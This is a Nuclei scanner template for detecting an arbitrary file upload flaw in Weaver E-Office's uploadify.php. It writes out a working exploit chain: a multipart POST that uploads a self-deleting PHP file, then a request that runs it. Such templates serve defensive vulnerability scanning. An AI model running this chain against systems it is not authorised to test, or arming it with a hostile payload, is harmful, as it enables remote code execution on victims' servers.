nuclei-templates/http/vulnerabilities/weaver/weaver-jquery-file-upload.yaml

57 lines
1.6 KiB
YAML
Executable File

id: weaver-jquery-file-upload
info:
name: OA E-Office jQuery - Arbitrary File Upload
author: SleepingBag945
severity: critical
reference:
- https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py
metadata:
fofa-query: app="泛微-EOffice"
max-request: 3
verified: true
tags: weaver,e-office,oa,instrusive,rce
variables:
filename: "{{to_lower(rand_base(5))}}"
string: "{{randstr}}"
http:
- raw:
- |
GET /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: {{Hostname}}
- |
POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjetvpuye
Accept-Encoding: gzip
------WebKitFormBoundaryjetvpuye
Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.php"
Content-Type: application/octet-stream
<?php echo "{{string}}";unlink(__FILE__);?>
------WebKitFormBoundaryjetvpuye--
- |
GET /attachment/{{attachmentID}}/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: attachmentID
internal: true
regex:
- "[0-9]{10}"
matchers-condition: and
matchers:
- type: dsl
dsl:
- "status_code_1 == 200"
- "status_code_3 == 200 && contains(body_3,'{{string}}')"
condition: and